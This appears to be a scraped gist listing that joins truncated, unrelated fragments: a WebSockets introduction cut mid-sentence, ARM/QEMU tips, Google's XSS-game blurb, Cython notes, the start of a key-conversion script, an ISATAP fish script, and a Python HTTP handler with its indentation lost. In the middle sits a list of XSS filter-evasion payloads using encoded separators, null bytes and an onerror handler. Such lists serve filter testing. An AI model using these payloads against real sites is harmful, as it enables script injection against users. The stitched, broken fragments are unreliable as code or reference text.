Eugene Sidorov luc-lynx

WebSockets - An Introduction

WebSockets is a modern HTML5 standard which makes communication between client and server a lot more simpler than ever. We are all familiar with the technology of sockets. Sockets have been fundamental to network communication for a long time but usually the communication over the browser has been restricted. The general restrictions

The server used to have a permanent listener while the client (aka browser) was not designated any fixed listener for a more long term connection. Hence, every communication was restricted to the client demanding and the server responding.
This meant that unless the client requested for a particular resource, the server was unable to push such a resource to the client.
This was detrimental since the client is then forced to check with the server at regular intervals. This meant a lot of libraries focused on optimizing asynchronous calls and identifying the response of asynchronous calls. Notably t

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

Running ARM programs under linux (without starting QEMU VM!)

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

XSS-game by Google

Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch them, pronto!

At Google, we know very well how important these bugs are. In fact, Google is so serious about finding and fixing XSS issues that we are paying mercenaries up to $7,500 for dangerous XSS bugs discovered in our most sensitive products.

In this training program, you will learn to find and exploit XSS bugs. You'll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.

There will be cake at the end of the test.

Cython

Cython has two major benefits:

Making python code faster, particularly things that can't be done in scipy/numpy
Wrapping/interfacing with C/C++ code

Cython gains most of it's benefit from statically typing arguments. However, statically typing is not required, in fact, regular python code is valid cython (but don't expect much of a speed up). By incrementally adding more type information, the code can speed up by several factors. This gist just provides a very basic usage of cython.

	#!/usr/bin/env python

	# with help and inspiration from
	# * ASN1_generate_nconf(3) (specifically the SubjectPublicKeyInfo structure)
	# * http://www.sysmic.org/dotclear/index.php?post/2010/03/24/Convert-keys-betweens-GnuPG%2C-OpenSsh-and-OpenSSL
	# * http://blog.oddbit.com/2011/05/converting-openssh-public-keys.html

	import sys
	import base64
	import struct

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

	#!/usr/loca/bin/fish
	function isatap

	set REMOTE_IP 166.111.21.1
	set LINK_PREFIX "fe80::200:5efe"
	set GLOBAL_PREFIX "2402:f000:1:1501:200:5efe"

	if sudo ifconfig gif0 destroy
	echo "Previous gif0 destroyed"
	end

	import socket
	from BaseHTTPServer import HTTPServer
	from SimpleHTTPServer import SimpleHTTPRequestHandler

	class MyHandler(SimpleHTTPRequestHandler):
	def do_GET(self):
	if self.path == '/ip':
	self.send_response(200)
	self.send_header('Content-type', 'text/html')
	self.end_headers()

	A warning occurred (42 apples)
	An error occurred